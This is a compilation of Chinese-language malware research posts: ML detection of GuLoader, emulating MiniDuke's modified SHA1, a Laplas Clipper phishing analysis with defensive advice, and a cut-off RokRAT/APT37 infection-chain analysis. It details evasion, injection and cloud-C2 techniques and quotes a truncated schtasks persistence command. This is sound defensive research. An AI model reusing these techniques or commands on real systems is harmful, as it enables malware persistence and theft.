Shapley值Shapley加法解釋（SHAP）是一種博弈論方法，用於解釋任何機器學習模型的輸出。與基線預測相比，SHAP值解釋了每個特徵對輸入特徵向量的實際預測的影響。在下圖中，從右到左的紅色特徵是將模型推向惡意預測的最頂層特徵。從左到右，藍色的特徵表示降低預測為惡意軟件概率的最頂層特徵。

15.png

如上圖所示，我們繪製了具有重要SHAP值的前七個特徵及其相應原始特徵值的力圖。由於這些頂級特徵的存在，我們的機器學習模型能夠檢測到GuLoader。這些特性對應於幾個特定的動態解析API指針及其在內存中的相對位置，以及樣本所做的內存頁權限更改的相對類型。

通過聚類尋找相似樣本另一種理解模型預測的方法是在訓練數據集中識別相似的樣本。我們使用基於密度的掃描(DBScan)作為聚類技術，如下圖所示，因為它允許異常值和不同形狀的聚類。

16.png

基於DBSCAN的集群

總結GuLoader家族是unit42開發的機器學習模型檢測惡意軟件的一個很好的示例，因為GuLoader使用沙盒逃避和靜態防護，使得傳統防禦很難單獨使用結構線索和執行日誌進行檢測。

在Advanced WildFire中，開發人員引入了一個基於虛擬機監控程序的沙盒，它可以在執行期間暗中觀察GuLoader的內存，以解析有意義的內存駐留工件和對機器學習檢測渠道有用的信息。這允許安全防護人員使用從觀察到的基於內存的工件中提取的特徵來準確地檢測惡意行為。

HireHackking

微信截图_20220928141315.png

對於逆向工程師來說，直接從分析的二進制代碼中調用函數的能力是一種捷徑，可以省去很多麻煩。雖然在某些情況下，理解函數邏輯並在高級語言中重新實現它是可能的，但這並不總是可行的，而且原始函數的邏輯越脆弱和復雜，這種方法就越不可行。在處理自定義哈希和加密時，這是一個特別棘手的問題，如果計算中的某個地方出現一個錯誤，就會導致最終輸出完全不同，而且調試起來非常麻煩。

我們將在本文中，介紹3 種實現此“捷徑”的不同方法，並直接從彙編中調用函數。我們首先介紹IDA Pro原生支持的IDA Appcall功能，可以直接通過idpython使用。然後我們演示如何使用Dumpulator實現同樣的行為，最後，我們將展示如何使用Unicorn Engine模擬得到該結果。本文中使用的實際示例基於MiniDuke惡意軟件示例實現的“經過調整的”SHA1哈希算法。

MiniDuke 實現的改進的SHA1 Hashing 算法MiniDuke示例中經過修改的SHA1算法用於為惡意軟件配置創建每個系統的加密密鑰。要哈希的緩衝區包含與所有接口描述的DWORD 連接的當前計算機名稱，例如'DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte'。此函數(SHA1Hash) 在初始摘要和中間階段使用與原始SHA1 相同的常量，但產生不同的輸出。

1.webp.jpg

MiniDuke SHA1Hash 函數常量

由於在原始和修改後的SHA1 中使用的常量都相同，因此差異必須出現在函數的1241 條彙編指令中。我們不能說這種調整是否是故意引入的，但事實仍然是惡意軟件開發者越來越喜歡插入這樣的“驚喜”，而處理它們的責任就落在了分析師身上。為此，我們必須首先了解函數期望其輸入並產生其輸出的形式。

事實證明，Duke-SHA1彙編使用自定義調用約定，其中要哈希的緩衝區長度在ecx寄存器中傳遞，而緩衝區本身的地址在edi中傳遞。從技術上講，在eax 中也傳遞了一個值，但是每當可執行文件調用該函數時，該值都是相同的0xffffffff，因此我們可以將其視為常量。有趣的是，惡意軟件還在每次調用該函數時將緩衝區長度(ecx)設置為0x40，僅對緩衝區的前0x40 個字節進行有效地哈希處理。

2.webp.jpg

SHA1Hash 函數參數

由此產生的160位SHA1哈希值在寄存器中以5個dword的形式返回(從高到低: eax, edx, ebx, ecx, esi)。例如，緩衝DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte的Duke-SHA1值為1851fff77f0957d1d690a32f31df2c32a1a84af7，返回為EAX:0x1851fff7 EDX:0x7f0957d1 EBX:0xd690a32f ECX:0x31df2c32 ESI:0xa1a84af7。

3.webp.jpg

生成的SHA1緩衝區哈希示例

如上所述，查找SHA1和Duke-SHA1的邏輯發生分歧的確切位置，然後在Python中重新實現Duke-SHA1，不過這個方法非常浪費時間。接下來，我們將使用幾種方法來“插入”函數的調用約定並直接調用它。

IDA–AppcallAppcall是IDA Pro的一個功能，它允許IDA Python腳本在調試程序中調用函數，就像它們是內置函數一樣。這是非常方便的，但它也不是通用的，即當用例變得有些不尋常或複雜時，應用難度會急劇上升。雖然在ecx 中傳遞緩衝區長度和在edi 中傳遞緩衝區是正常的，但在5個寄存器中分割160位的返回值並不是典型的函數輸出形式，Appcall 需要一些創意來解決這個問題。

接下來，我們創建了一個自定義結構struc_SHA1HASH，它保存了5個寄存器的值，並用作函數原型的返回類型：

4.png

IDA 結構窗口——“struc_SHA1HASH”

現在有了結構定義， Appcall 就可以與這個函數原型交互，如下面的PROTO 值所示。

5.png

由於IDA Appcall依賴於調試器，為了調用這個邏輯，我們首先需要編寫一個腳本來啟動調試器，對堆棧進行必要的調整，並執行其他必要的管理工作。

6.png

IDA視圖——堆棧調整

使用Appcall是最後一步，有幾種方法可以利用它來調用函數。我們可以在不指定原型的情況下直接調用函數，但這高度依賴於IDA 的IDB 中正確類型的函數。第二種方法是根據函數名和定義的原型創建一個可調用對象。通過這種方式，我們可以調用帶有特定原型的函數，無論在IDB中設置了什麼類型，如下所示：

7.png

使用Appcall 調用Duke-SHA1 的完整腳本如下所示。

8.png

還有一些示例輸出：

9.webp.jpg

腳本執行——“IDA Appcall”產生與MiniDuke 樣本相同的SHA1 哈希值

如果我們只是想將被調用的函數用作黑盒，那麼上面的方法是可以的，但有時我們可能希望在執行的特定狀態下訪問註冊表值，並且像上面那樣指定原型是一件繁瑣的事情。令人高興的是，這兩個缺點都可以被優化。

由於IDA Appcall 依賴於調試器並且可以直接從IDAPython 調用，因此我們可以從調試器調用Appcall 並對其執行進行更精細的控制。例如，我們可以通過為Appcall 設置一個特殊選項——APPCALL_MANUAL 來讓Appcall 在執行過程中將控制權交還給調試器。

10.png

通過這種方式，我們可以使用Appcall來準備參數，分配一個緩衝區，然後恢復之前的執行上下文。我們也可以避免為返回值指定結構類型(將其輸入為void)，因為這將由調試器處理。有更多的方法來獲取函數的返回值，因此當控制調試器，就可以使用條件斷點在特定的執行狀態(例如在返回時)打印所需的值。

11.png

我們可以通過調用cleanup_appcall()在任何需要的執行時刻恢復之前的狀態（在Appcall 調用之前）。在我們的例子中，正好在遇到條件斷點之後。

12.png

完整的腳本如下：

13.png

DumpulatorDumpulator是一個python庫，它幫助在minidump文件中進行代碼模擬。 dumator的核心模擬引擎基於Unicorn engine，但在同類工具中有一個比較獨特的特點，那就是可以獲得整個過程的內存。這帶來了性能改進（在不離開Unicorn 的情況下模擬大部分已分析的二進製文件），如果我們可以在調用函數所需的程序上下文（堆棧等）已經就位的時候計算內存轉儲的時間，那麼就更方便了。此外，只有模擬系統調用才能提供真實的Windows環境（因為實際上一切都是合法的進程環境）。

可以使用許多工具(x64dbg - MiniDumpPlugin, process Explorer, process Hacker, Task Manager)或Windows API (MiniDumpWriteDump)捕獲所需進程的一個minidump。我們可以使用x64dbg - MiniDumpPlugin在幾乎所有進程都已經設置為SHA1哈希創建的狀態下創建一個minidump，就在SHA1Hash函數調用之前。注意，沒有必要以這種方式對轉儲進行計時，因為在進行轉儲後，可以在轉儲器中手動設置環境，這只是為了方便而已。

14.webp.jpg

使用“x64dbg - MiniDumpPlugin”創建minidump

Dumpulator不僅可以訪問整個轉儲的進程內存，還可以分配額外的內存、讀取內存、寫入內存、讀取註冊表值和寫入註冊表值。換句話說，模擬器可以做的任何事情。也有可能實現系統調用，因此可以模擬使用它們的代碼。

要通過Dumpulator調用Duke-SHA1，我們需要指定將在minidump中調用的函數的地址及其參數。在本例中，SHA1Hash的地址為0x407108。

15.webp.jpg

在IDA 中打開生成的minidump

因為我們不希望在minidump的當前狀態中使用已經設置的值，所以我們為函數定義自己的參數值。我們甚至可以分配一個新的緩衝區，用作哈希的緩衝區。完成此任務的代碼如下所示。

16.png

執行此腳本將生成正確的Duke-SHA1值

17.webp.jpg

腳本執行——“Dumpulator”產生與MiniDuke 樣本相同的SHA1 哈希值

Emulation–Unicorn Engine對於模擬方法，我們可以使用任何類型的CPU模擬器(例如Qiling、Speakeasy等)，它們能夠模擬x86彙編，並具有針對Python語言的綁定。因為我們不需要任何更高的抽象級別(系統調用，API函數)，我們可以使用其他大多數引擎的基礎設施——Unicorn Engine。

Unicorn是一個輕量級、多平台、多體系結構的CPU模擬器框架，基於QEMU，它是用純C語言實現的，並綁定了許多其他語言。我們將使用Python綁定。我們的目標是創建一個獨立的函數SHA1Hash，它可以像Python中的任何其他普通函數一樣被調用，產生與MiniDuke中原始函數相同的SHA1哈希。我們使用的實現背後的想法非常簡單——我們只需提取函數的操作碼字節並通過CPU 模擬使用它們。

提取原始函數操作碼的所有字節可以簡單地通過idpython或使用IDA→Edit→Export Data來完成。

18.png

使用IDA“Export data”對話框導出SHA1Hash函數的操作碼字節

與前面的方法一樣，我們需要設置執行上下文。在本文示例中，這意味著為函數準備參數，並為提取的操作碼和輸入緩衝區設置地址。

19.png

請注意，應從提取的操作碼列表中刪除最後一條retn 指令，以免將執行轉移回堆棧上的返回地址，並且應通過指定ebp 和esp 的值手動設置堆棧幀。所有這些都顯示在下面的最終Python 腳本中。

20.png

腳本輸出如下所示：

21.png

腳本執行——“Unicorn Engine”產生與MiniDuke示例相同的SHA1哈希值

總結上述所有直接調用彙編的方法都各有優缺點。給我們留下特別深刻印象的是簡易的Dumpulator，它是免費的，執行起來很快，而且非常有效。它非常適合編寫通用字符串解密器、配置提取器和其他上下文，在這些上下文中，必須依次調用許多不同的邏輯片段，同時保留難以設置的上下文。

當我們希望直接使用調用特定函數產生的結果來豐富IDA數據庫時，IDA Appcall功能是最好的解決方案之一。系統調用可以是Appcall在實際執行環境中使用的函數的一部分——使用調試器。 Appcall最大的優點之一就是快速而簡單的上下文恢復。由於Appcall依賴調試器，可以與idpython腳本一起使用，理論上它甚至可以作為模糊器的基礎，向函數提供隨機輸入以發現意外行為（即錯誤），但這種方法的消耗太大。

通過Unicorn Engine 使用純仿真是獨立實現特定功能的通用解決方案。使用這種方法，可以按原樣獲取部分代碼並在不連接到原始示例的情況下使用它。此方法不依賴於可運行的示例，並且僅適用於部分代碼重新實現功能。對於不是連續的、易於轉儲的代碼塊的函數，這種方法可能更難實現。對於發生API 或系統調用的部分代碼，或者難以設置執行上下文的代碼，前面提到的方法通常是更好的選擇。

HireHackking

本週（2023年08月07日~11日），北京網際思安科技有限公司麥賽安全實驗室（MailSec Lab）觀察到大量增加的以“下訂單”為主題的Laplas Clipper木馬郵件，請各單位和企業做好相關的防護。 01背景介紹關於此批“下訂單”為主題的病毒樣本郵件，如下圖所示：

圖1. “下訂單”為主題的Laplas Clipper木馬郵件

1.jpg

該郵件通過偽造下訂單購買產品的郵件，誘導員工解壓縮郵件附件，從而釋放出惡意程序。當員工雙擊觸發程序後，該惡意程序將自動連接攻擊者搭建的惡意網站，進一步下載Laplas Clipper木馬病毒，並對員工計算機的剪切板進行監視和控制，以盜取員工的加密貨幣。

640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1木馬介紹Laplas Clipper惡意軟件是網絡安全研究人員於2022年11月首次觀察到的一種相對較新的剪貼板竊取程序。該竊取程序屬於Clipper惡意軟件家族，這是一組專門針對加密貨幣用戶的惡意程序。 Laplas Clipper通過使用正則表達式來監視受害機器的剪貼板以獲取他們的加密貨幣錢包地址。一旦該惡意軟件找到受害者的錢包地址，它就會自動將其發送給攻擊者控制的Clipper機器人，後者將生成一個相似的錢包地址並將其覆蓋到受害者機器的剪貼板中。如果受害者隨後在執行交易時嘗試使用被惡意替換後的錢包地址，結果將是欺詐性加密貨幣交易，受害者將把錢匯款給黑客。

02專家分析思安麥賽安全實驗室的專家從附件風險性、源IP地址、發件人域名、郵件頭字段、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。

分析-1：下載的EXE文件640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點經過對EXE文件的靜態和動態分析可知，員工解壓郵件附件並點擊“PO20230808.exe”文件後會順序觸發如下惡意行為：

（1）.運行環境檢測

檢測程序是否在真實的物理機上運行？若在沙箱中運行，不觸發惡意行為。

（2）.反安全檢測

通過一些技術來破壞安全軟件的檢測。

（3）.下載Laplas Clipper木馬

連接外部的僵死控制服務器，下載木馬程序。

（4）.安裝Laplas Clipper木馬

自動安裝下載的木馬程序，並開始對員工計算機的惡意攻擊。

分析1.1. 運行環境檢測“PO20230808.exe”文件被點擊運行後，首先對程序的運行環境進行檢測，確定自身的運行環境是否安全。如果惡意程序發現自身是在虛擬環境中執行（例如：沙箱），將不運行病毒行為，從而躲避安全軟件的檢測。通過分析，實驗室專家發現了該惡意程序的如下一些躲避安全檢測的行為：

(1). 通過註冊表鍵來檢測是否安裝了常見反病毒軟件

j2.jpg

(2). 檢查適配器地址，確定網絡接口是否是為虛擬的，以確定該環境是否為虛擬機

j3.jpg

(3). 檢測是否有應用在監視和調試進程

j4.jpg

分析1.2. 反檢測/反逆向除了對運行環境進行檢驗，以躲避安全軟件的檢測外。該惡意程序在運行過程中，還通過一些技術來破壞安全軟件的檢測。

(1). 使用Process Hollowing技術進行注入

j5.jpg

(2). 在其他進程中進行內存或文件映射

j6.jpg

分析1.3. 下載Laplas Clipper木馬惡意程序運行後，通過HTTPS從攻擊者控制的下載服務器下載惡意文件，並運行。

圖2. 下載並運行Laplas Clipper木馬示例

2.jpg

圖3. 抓取到的惡意文件下載行為

3.jpg

分析1.4. 觸發惡意攻擊行為在執行的初始階段，Laplas Clipper木馬使用解密例程對一些嵌入的加密字符串進行解密。該例程首先對base64 編碼字符串進行解碼，然後使用XOR密鑰“\x3F”對其進行解密以生成密鑰、文件夾名稱、過程ID 文件和可執行文件名。

圖4. 解密字符串以獲取信息

4.jpg

圖5. 解密後的信息

5.jpg

在執行字符串解密例程之後，木馬通過使用解密的字符串“OQaXPFVvfW”創建一個文件夾，並使用另一個解密的字符串“TCOBAisZyL.exe”將自身複製到文件夾中，從而在受害者的機器上長時間運行，進行APT攻擊。木馬的絕對路徑是：

C:\Users\

Laplas Clipper木馬通過執行如下所示的schtasks命令來創建Windows 計劃任務：

cmd.exe /C schtasks /create /tn OQaXPFVvfW /tr “C:\Users\

計劃任務在受害者的機器上每分鐘週期性執行任務，持續監控受害者的剪貼板以查找加密貨幣錢包地址。當攻擊任務觸發後，它通過發送受害者的桌面名稱和用戶ID向攻擊者的Clipper bot服務器註冊受害者的機器。然後，木馬讀取受害機器的剪貼板內容，並執行正則表達式來匹配加密貨幣錢包地址。

圖6. 加密貨幣錢包地址的正則表達式

6.jpg

當識別出加密貨幣錢包地址後，木馬會將錢包地址從剪貼板發回給Clipper bot服務器。

圖7. 從剪貼板複製加密貨幣錢包地址

7.jpg

作為響應，木馬接收到一個與受害者相似的且被攻擊者控制的錢包地址，並覆蓋剪貼板中的原始加密貨幣錢包地址。在我們的分析過程中，惡意軟件將我們的虛擬以太坊錢包地址從剪貼板發送給Clipper bot服務器，然後收到了看起來與我們的原始錢包地址相似的被攻擊者控制的錢包地址。

圖8. 攻擊者生成的錢包地址

8.jpg

分析-2：源IP地址640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

通過對郵件頭字段的分析可知，該惡意郵件的來源IP地址是185.33.87.58。

圖9. 郵件頭部源IP字段展示

9.jpg

查詢覆蓋全球的91個RBL數據源，檢測結果如下。此IP地址被列入了多達12個RBL黑名單。

序列號被列為黑名單的RBL名稱1

Abusix Mail Intelligence Blacklist

2

BARRACUDA

3

Hostkarma Black

4

ivmSIP

5

ivmSIP24

6

RATS Spam

7

s5h.net

8

SORBS SPAM

9

TRUNCATE

10

UCEPROTECTL2

11

WPBL

12

ZapBL

03總結與攻擊溯源經思安麥賽安全實驗室的分析測試，我們認為此“下訂單”為主題的樣本郵件為高危郵件。總結來看，其含有的風險特徵包括：

經過靜態和動態分析，證明郵件附件為Laplas Clipper惡意軟件，用於盜取員工的加密貨幣；

此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

此郵件的完整攻擊溯源圖如下所示：

圖10. 攻擊溯源圖

10.jpg

04防范建議攜帶木馬的惡意郵件是指郵件中包含木馬附件或鏈接。此類郵件可能會採用各種策略來迷惑用戶並促使他們打開附件或點擊鏈接。一旦用戶執行了這些操作，木馬病毒就會被釋放或下載到用戶的計算機上，從而導致系統被感染。木馬病毒可以允許攻擊者遠程控制受感染的計算機、竊取個人信息、損壞數據、記錄按鍵信息或啟動其他惡意活動。

要防範攜帶木馬的郵件，用戶應保持安全意識，不輕信可疑郵件，使用防病毒軟件進行掃描和檢測，並遵循如下一些安全實踐：

1. 保持警惕：對於來自陌生髮件人或不可信來源的郵件要保持警惕。如果郵件的主題、內容或附件引起您的懷疑，最好避免打開或下載附件；

2. 不隨意點擊鏈接：避免在郵件中隨意點擊鏈接，特別是來自不可信來源的鏈接。這些鏈接可能會引導您訪問惡意網站或下載木馬病毒；

3. 小心下載附件：慎重對待附件，尤其是來自未知或不可信的發件人的附件。不要輕易打開、執行或下載任何可疑的附件，因為它們可能包含木馬病毒；

4. 使用安全軟件：確保您的計算機上安裝了可靠的防病毒軟件和防火牆，並及時更新其病毒定義文件。這些工具可以幫助檢測和阻止潛在的木馬病毒；

5. 定期更新系統和程序：保持您的操作系統、電子郵件客戶端和其他應用程序的更新。這樣可以修補已知漏洞，減少被利用的風險；

6. 定期備份數據：定期備份您的重要數據，並將備份存儲在離線或安全的位置。這樣即使受到木馬病毒攻擊，您的數據也能得到恢復；

7. 培養安全意識：加強員工和自己的安全意識培訓，教育他們如何識別潛在的惡意郵件，並提醒他們不要隨意打開或執行可疑的附件；

8. 使用郵件安全防護設備：部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備；

9. 定期檢查安全防護設備：確保郵件安全網關、郵件安全沙箱等郵件安全防護設備的策略配置正確且生效，並確保設備的防護庫已升級到最新版本；

10. 鼓勵員工報告可疑郵件：如果收到可疑的病毒郵件，員工應及時將其報告給您的組織或相關機構，以幫助企業採取適當的行動保護其他員工；

HireHackking

微信截图_20230507224157.png

本文是Check Point根據其2022年7月首次發現的一個RokRAT樣本來做的深入分析。

早在2022 年7 月，APT37（Inky Squid、RedEyes、Reaper或ScarCruft）就開始試驗使用超大LNK 文件傳播RokRAT活動，企圖利用不受信任來源的宏發起攻擊，巧的是，同月微軟開始默認阻止跨Office 文檔的宏。與以前一樣，攻擊的目標還是韓國的目標。

研究結果表明，用於最終加載ROKRAT的各種多階段感染鏈被用於其他攻擊，導致傳播與同一攻擊者相關的其他工具。這些工具包括另一個自定義後門，GOLDBACKDOOR和Amadey。

在前幾年，ROKRAT感染鏈通常涉及帶有漏洞的惡意朝鮮文字處理器（HWP，韓國流行的文檔格式）文檔或帶有宏的Microsoft Word文檔。雖然一些ROKRAT樣本仍然使用這些技術，但傳播方式上還是進行了改進，即使用偽裝成合法文檔的LNK文件傳播ROKRAT。這種轉變並不是ROKRAT獨有的，而是代表了2022年非常流行的更大趨勢。

ROKRAT的背景介紹Talos於2017年4月首次報導了APT37開發的ROKRAT（也稱為DOGCALL），這個工具被用來針對韓國的政府部門，記者、活動人士和脫北者。根據最初的報告，其中一個ROKRAT樣本使用Twitter作為其命令和控制（CC）基礎設施，而另一個則依賴於Yandex和Mediafire。後一個更接近於如今ROKRAT的活動方式，依賴雲文件存儲服務作為一種CC機制。

最初只支持Windows，多年來ROKRAT已經適應了其他平台，在野外發現了macOS和Android版本。 macOS版本，也稱為CloudMensis，於2022年7月由ESET首次描述。雖然Android版本的ROKRAT已經存在了很長時間，但InterLab和S2W都在Android上推出了一個更新版本的ROKRAT，稱為RambleOn（Cumulus）。所有這些都表明，這種惡意軟件仍在迭代中。

APT37的許多工具都是自定義編寫的工具，如ROKRAT，包括（但不限於）最近報導的M2RAT、Konni RAT、Chinotto和GOLDBACKDOOR。然而，攻擊者也會使用Amadey等普通惡意軟件。使用普通惡意軟件使得將攻擊歸因於特定組織變得更加困難，因為它廣泛可用，任何人都可以獲得它。

今年2月，AhnLab報告了一種名為Map2RAT（簡稱M2RAT）的新RAT。這種RAT利用隱寫術技巧，將可執行文件隱藏在JPEG文件中以逃避檢測。今年3月，Sekoia和ZScaler都發布了APT37使用釣魚網站和PowerShell後門的報告，ZScaler導致了另一個名為Chinotto的植入程序的傳播。

誘餌和感染鏈在過去的四個月裡，我們觀察到多個感染鏈導致了ROKRAT的傳播。在大多數情況下，LNK文件會啟動攻擊，儘管在少數情況下，DOC文件被用於相同的目的（以前的ROKRAT攻擊中的方法）。在分析ROKRAT感染鏈的過程中，研究人員發現了導致Amadey傳播的攻擊鏈，Amadey是一種在地下論壇上出售的商業RAT。儘管攻擊的性質不同，但研究人員認為所有這些攻擊都是由相同的攻擊者策劃的。

1.png

誘餌和感染鏈的時間線

誘餌LNK感染鏈2022年4月，Stairwell發表了對GOLDBACKDOOR的詳細分析，這是一種針對韓國記者的有針對性攻擊中使用的惡意軟件。 Stairwell對利用運行PowerShell的大型LNK文件的感染鏈進行了徹底分析，導致在釋放誘餌文檔的同時執行新發現的惡意軟件。這項技術是一個名為EmbeddExeLnk的公共工具的獨特實現。

雖然最初與GOLDBACKDOOR有關，但對最近與APT37相關的誘餌的分析表明，這種技術已經成為一種重要的方法，用於傳播與同一攻擊者相關的另一種工具，即ROKRAT。 ROKRAT和GOLDBACKDOOR加載機制的實現非常相似，只有在檢索有效負載時才能區分。

在過去的幾個月裡，研究人員能夠利用ZIP和ISO檔案中提供的這種獨特實現來識別多個誘餌。只有其中一些誘餌被證實會導致ROKRAT的傳播。所有的誘餌都以韓國國內外事務為主題。

LNK感染鏈分析目前已知的所有LNK都會導致幾乎相同的感染鏈。下面以“利比亞項目”中描述的一個感染為例進行說明：

7.png

“利比亞項目”誘餌的感染鏈

點擊惡意LNK文件會觸發PowerShell的執行，並啟動以下感染鏈：

1.PowerShell從LNK中提取文檔文件，將其放入磁盤，然後打開它。這個文件是一個誘餌，欺騙用戶以為他們只是打開了一個普通的PDF或HWP文件。

2.PowerShell從LNK中提取BAT腳本，將其放入磁盤並執行。

8.png

3.BAT腳本執行一個新的PowerShell實例，該實例從OneDrive下載有效負載，通過將有效負載的第一個字節作為密鑰對其進行解碼，並將其與有效負載的其餘部分進行異或。

4.生成的有效負載以反射方式註入PowerShell，使其作為新線程運行。

5.shellcode使用四字節異或密鑰對有效負載的ROKRAT部分進行解碼並執行它。

9.png

典型的ROKRAT感染鏈ROKRAT運營商在採取新的行為同時，仍夾雜了一些舊習慣，比如，ROKRAT仍然使用惡意Word文檔進行部署。

2022年12月，有人向VirusTotal提交了一份惡意的Word文檔，命名為“.doc”（Case fee_Payment request.doc）。該文件本身包含一個輸入個人和銀行信息的簡短表格。然而，對該文件的仔細檢查顯示，其中提到了韓國的統一部。

10.png

“利比亞項目”誘餌的感染鏈

一旦用戶打開惡意文檔並允許宏執行，就會觸發以下感染鏈：

1.宏通過設置AccessVBOM註冊表項以加載其他代碼來檢查並確保它可以訪問Visual Basic項目。

2.宏解碼一個新的VBA腳本，將其寫入宏中的一個新模塊，然後執行它。這是在不將任何代碼釋放到磁盤的情況下完成的。

3.第二個VBA腳本運行notepad.exe並將shellcode注入其中。

4.shellcode在notepad.exe中運行，並進入OneDrive下載ROKRAT有效負載並在內存中執行它。

11.png

這裡描述的感染鏈與MalwareBytes在2021年1月報告的非常相似，MalwareBytes也通過將shellcode注入notepad.exe並將RAT加載到內存中來傳播ROKRAT。然而，MalwareBytes研究中描述的樣本的編譯日期是從2019年開始的，而checkpoint發現的新ROKRAT樣本似乎是在2022年12月21日編譯的，距離文件提交給VirusTotal只有六天時間。

此外，在2023年4月發現的另一個文件似乎是同一感染鏈的一部分，只是這次注入的目標進程是mspaint.exe，該文件以朝鮮的核武器為主題。不幸的是，在我們進行分析時，URL不再響應下載負載的請求。但是，這份文件很有可能也是為了傳播ROKRAT。

與Amadey的關聯2022年11月初，一個名為securityMail.zip的文件被提交給了VirusTotal。這個ZIP包含兩個LNK，它們的大小都不到5MB，令人懷疑。 PowerShell命令在兩個LNK中的實現是唯一的，並且僅與ROKRAT和GOLDBACKDOOR LNK感染重疊。然而，這個特定的感染鏈最終傳播了Amadey，這是一種可在網絡犯罪論壇上出售的惡意軟件。 Amadey過去曾被認為是Konni開發的，Konni組織與APT37的背景類似。

12.png

“安全郵件”誘餌的感染鏈，打開這些LNK中的任何一個都會產生惡意流程：

1.PowerShell命令從LNK中提取一個誘餌HTML文件，並將其放入磁盤，其方式與ROKRAT感染鏈類似：

13.png

2.這個PowerShell還從包含DLL的LNK中提取一個ZIP文件。然後將DLL作為mfc100.dll放入磁盤。

3.PowerShell最終也從LNK中提取了一個BAT腳本，將其放到磁盤上並執行。

4.BAT腳本運行帶有rundll32.exe的DLL並刪除自身。

13.png

對DLL文件的初步分析顯示，它包含了商業代碼保護解決方案Themida。在分析了它執行的內存轉儲後，我們能夠確認這實際上是Amadey。誘餌HTML文件中包含一個偽造的Kakao銀行的登錄頁面，Kakao是韓國一家受歡迎的銀行。對HTML的進一步分析表明，它不是用於密碼釣魚，而是用來隱藏攻擊者的意圖。

15.png

偽造Kakao銀行登錄頁面

ROKRAT技術分析ROKRAT只是APT37使用的許多自定義工具之一，但它絕對是通用且強大的。 ROKRAT主要側重於運行額外的有效負載和大量的數據竊取。它的CC功能依賴於雲基礎設施，包括DropBox、pCloud、Yandex cloud和OneDrive。 ROKRAT還收集有關計算機的信息，以防止被其他競爭者再次感染。

雖然在過去幾年中，ROKRAT並沒有發生重大變化，但其破壞力依然不容小覷，這可以歸因於它巧妙地使用內存執行，將CC通信偽裝成潛在的合法云通信，以及額外的加密層，以阻礙網絡分析和逃避網絡簽名。因此，最近發表的關於ROKRAT的文章並不多。

通用惡意軟件結構ROKRAT的大多數樣本都有一個非常簡單的WinMain函數。到目前為止分析的所有樣本都包含一個數據收集功能（CollectMachineData，如下圖所示），該功能在主RAT線程（MainRATThread）執行之前執行。這個線程初始化RAT並運行一個循環，以嘗試從CC獲取命令，然後解析並執行它們。

WinMain函數中嵌入了兩個額外的功能，我們只在樣本的一個子集中觀察到了這兩個功能。第一個檢查RAT是否能夠寫入TEMP目錄（CheckTemp，如下圖所示）。第二個創建了一個線程（KillCertainProcessesThread），用於停止與以前利用Hancom Office漏洞的感染載體相關的某些進程。

16.png

ROKRAT中WinMain函數的示例

受害目標分析ROKRAT在執行時調用的第一個函數旨在收集有關受感染計算機的數據。在初始攻擊階段，這可能有助於攻擊者區分這是否是一個期望的目標，然後採取相應的行動。

在這個函數（以及許多其他函數）中，ROKRAT使用加密字符串來防止靜態分析看不到使用的一些技術。此處收集的信息包括程序是否在WOW64上運行（表示32位應用程序在64位窗口上運行）、vmtoolsd.exe的版本（VMWare Tools Daemon，如果已安裝）、註冊表中的SMBIOS數據以及註冊表中的系統BIOS版本。

RAT還收集用戶名、計算機名和RAT正在執行的可執行文件的完整路徑。後者很重要，因為感染鏈通常涉及將ROKRAT PE文件注入現有進程的內存。換言之，這使攻擊者能夠查看ROKRAT是否在預期的進程中執行，如powershell.exe或notepad.exe。最後，該函數檢查可執行文件是否有權在C:\Windows下創建用於寫入的文件。

17.png

CollectMachineData收集有關受感染計算機的各種信息

雖然在上述函數中收集了大量目標的數據，但在ROKRAT開始接受命令之前，還有另一個數據收集函數在主RAT線程的上下文中運行。第二個函數檢查調用IsDebuggerPresent API，將結果存儲為字符（0或1）。此外，它還調用了一個函數來獲取計算機的屏幕截圖。

將執行在主線程中執行的數據收集，每次ROKRAT嘗試獲取命令時發送收集的數據。

在同一函數中，一些示例還檢查是否有一個名為360Tray.exe的正在運行的進程，該進程是名為360 Total Security的防病毒軟件的一部分。結果存儲在一個全局布爾變量中，並在用於執行shellcode有效負載的單獨函數中訪問。有趣的是，如果找到了進程，ROKRAT會將等待shellcode完成運行的超時時間從24秒增加到48秒。如果shellcode運行超過超時時間，並且之前未檢測到360Tray.exe，ROKRAT將嘗試終止shellcode線程。

如前所述，一些ROKRAT示例執行一個名為KillCertainProcessesThread的線程。這個線程阻止了兩個進程：gbb.exe和gswin32c.exe，它們負責解析Hancom Office中的postscript數據。過去，ROKRAT樣本來自惡意的HWP文檔，這些文檔利用這些進程來獲取代碼執行。最有可能的是，這是在試圖清除之前活動中的任何利用痕跡時留下的代碼。

ROKRAT沒有為這些進程名稱使用硬編碼或加密的字符串，而是包含一個簡單的哈希算法，該算法基於整數值確定進程名稱。它的工作方式如下：

18.png

CC通信在我們分析的每個ROKRAT樣本中，惡意軟件配置包含一個代表云基礎設施的ID號，以及使用它的API令牌。 ID號可以具有以下值，以對應不同的雲提供商，以及允許RAT與本地計算機通信的測試模式：

1 -本地計算機（無雲）

3 - Dropbox

4 - pCloud

5 - Yandex

19.png

雲存儲提供商的Switch case語句

進一步的分析表明，通常有兩種CC配置，一種用作主要基礎設施，另一種用作備份。在我們發現的最新樣本中，主要的CC是pCloud，次要的是Yandex Cloud。

ROKRAT從初始化令牌開始，然後從CC獲取文件夾內容，以確保它具有訪問權限並且令牌有效：

20.png

列出pCloud中文件夾目錄的GET請求標頭

ROKRAT使用的文件的名稱是基於GetTickCount API和rand API的隨機值生成的，並以執行時間作為依據。

ROKRAT向服務器上傳一個文件，其中包含有關受害計算機的以下信息：

硬編碼值0xBAADFEDE–稍後在CC通信中使用；

IsDebuggerPresent值；

之前保存到以下路徑的惡意軟件的屏幕截圖：%TEMP%\

進程數據—每個工作進程的pid:

Tick Count；

XOR密鑰–用於解密CC中的命令和有效負載；

生成的文件名-稍後用於下載和執行某些命令中的有效負載；

IsWow64Process標識；

Windows版本；

計算機名；

使用者名稱;

